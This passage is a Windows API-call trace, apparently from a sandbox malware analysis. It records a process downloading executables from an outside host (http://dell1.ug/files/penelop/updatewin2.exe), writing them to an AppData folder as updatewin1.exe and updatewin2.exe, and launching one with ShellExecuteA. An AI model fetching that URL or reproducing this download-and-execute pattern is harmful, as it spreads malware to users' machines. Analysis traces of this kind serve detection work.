lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.952] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.953] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.964] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.965] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.978] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.978] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.979] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.979] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.979] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.980] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.980] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.980] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.980] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.981] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0050.981] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0050.981] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.008] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.009] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.009] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.009] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.010] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.010] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.010] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.011] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.011] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.011] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.013] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.013] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.021] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.022] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.022] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.022] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.023] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.023] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.024] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.025] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0051.025] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0051.025] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0xa00) returned 1 [0051.028] WriteFile (in: hFile=0x5e8, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0xa00, lpOverlapped=0x0) returned 1 [0051.029] CloseHandle (hObject=0x5e8) returned 1 [0051.032] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0051.037] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0051.038] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", lpParameters=0x0, lpDirectory=0x0, nShowCmd=1) returned 0x2a [0052.372] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x35f3450 | out: hHeap=0x3500000) returned 1 [0052.372] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601a6d0 | out: hHeap=0x3500000) returned 1 [0052.372] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e9e8 | out: hHeap=0x3500000) returned 1 [0052.373] InternetOpenA (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0052.373] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6025098 [0052.373] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x860) returned 0x601e9e8 [0052.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6025098, cbMultiByte=-1, lpWideCharStr=0x601e9e8, cchWideChar=1072 | out: lpWideCharStr="http://dell1.ug/files/penelop/updatewin2.exe") returned 45 [0052.373] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x870) returned 0x601fb30 [0052.373] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e9e8 | out: hHeap=0x3500000) returned 1 [0052.373] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6025098 | out: hHeap=0x3500000) returned 1 [0052.373] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x870) returned 0x601e9e8 [0052.373] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x830) returned 0xc940430 [0052.373] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://dell1.ug/files/penelop/updatewin2.exe", cchWideChar=-1, lpMultiByteStr=0xc940430, cbMultiByte=2096, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://dell1.ug/files/penelop/updatewin2.exe", lpUsedDefaultChar=0x0) returned 45 [0052.373] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x840) returned 0xc940cb8 [0052.373] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940430 | out: hHeap=0x3500000) returned 1 [0052.373] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x601e9e8 | out: hHeap=0x3500000) returned 1 [0052.373] InternetOpenUrlA (hInternet=0xcc0004, lpszUrl="http://dell1.ug/files/penelop/updatewin2.exe", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0052.504] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0xc940cb8 | out: hHeap=0x3500000) returned 1 [0052.504] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0xc88d6d0, lpdwBufferLength=0xc88d710, lpdwIndex=0x0 | out: lpBuffer=0xc88d6d0*, lpdwBufferLength=0xc88d710*=0x4, lpdwIndex=0x0) returned 1 [0052.504] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x40) returned 0x6097618 [0052.504] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x20) returned 0x60700d0 [0052.504] HeapFree (in: hHeap=0x3500000, dwFlags=0x0, lpMem=0x6097618 | out: hHeap=0x3500000) returned 1 [0052.504] lstrcpyA (in: lpString1=0x60302c8, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d" [0052.505] PathAppendA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d", pMore="updatewin2.exe" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe") returned 1 [0052.505] RtlAllocateHeap (HeapHandle=0x3500000, Flags=0x0, Size=0x60) returned 0x6089460 [0052.505] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin2.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x65c [0052.505] SetFilePointer (in: hFile=0x65c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0052.505] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.506] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.507] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.579] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.579] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.580] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.580] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.580] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.639] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.639] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.639] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.640] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.640] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.640] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.641] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.641] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.735] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.735] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.736] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.736] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.736] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.737] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.737] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.737] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.737] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.738] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.738] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.738] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.739] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.739] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.764] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.765] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.765] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.766] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.766] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.766] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.767] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: lpBuffer=0xc88d778*, lpNumberOfBytesWritten=0xc88d6dc*=0x2800, lpOverlapped=0x0) returned 1 [0052.767] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0xc88d778, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0xc88d6d8 | out: lpBuffer=0xc88d778*, lpdwNumberOfBytesRead=0xc88d6d8*=0x2800) returned 1 [0052.768] WriteFile (in: hFile=0x65c, lpBuffer=0xc88d778*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0xc88d6dc, lpOverlapped=0x0 | out: 